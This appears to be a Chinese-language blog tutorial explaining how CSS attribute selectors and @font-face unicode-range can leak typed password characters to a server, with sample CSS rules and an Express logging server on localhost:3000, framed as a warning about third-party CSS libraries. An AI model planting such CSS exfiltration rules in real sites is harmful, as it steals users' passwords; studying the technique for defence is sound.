本文主要和大家介绍了css 记录用户密码的方法的相关资料,简单的css代码，甚至不符合图灵完备的语言，但是也能成为一些攻击者的工具，下面简单介绍一下如何使用css去记录用户的密码。但是这些css脚本会出现在第三方css库中，所以使用第三方css库也需要谨慎，确保代码安全。直接上代码解析：
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
以上是部分代码,我们来解析一下CSS代码
input[type="password"]是css选择器，作用是选择密码输入框， [value$="0"]表示匹配输入的值是以0结尾的。所以：
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
上面代码的意思就是如果你在密码框中输入0，就去请求http://localhost:3000/0接口，但是浏览器默认情况下是不会将用户输入的值存储在value属性中，但是有的框架会同步这些值，例如React。
所以只要使用了如下图的脚本就能去存储用户的输入数据信息。
立即学习“前端免费学习笔记（深入）”；
我们再来看一下服务器端的代码：
const express = require("express");const app = express();app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400);});app.listen(3000, () => console.log("启动，监听3000端口"));
使用express创建服务器，监听3000端口，只要请求http://localhost:3000/:key，就能输出key的值，就能在服务器上记录输入的值。所以只要在每输入一个值都匹配，然后通过 background-image 去请求一个已经准备好的接口，就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {
font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85;}html { font-family: blah, sans-serif;}
你使用的的css的简单的字体库，只要你的页面中包含a，就会去请求http://localhost:3000/a，这样就能知道你的页面中包含有a字符。
相关推荐：
PHP实现保存网站用户密码到css文件分享
怎样去存储用户密码安全
php用户密码加密算法解析
以上就是CSS记录用户密码实现代码分享的详细内容，更多请关注创想鸟其它相关文章！
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。
发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/1609058.html
微信扫一扫 
支付宝扫一扫 
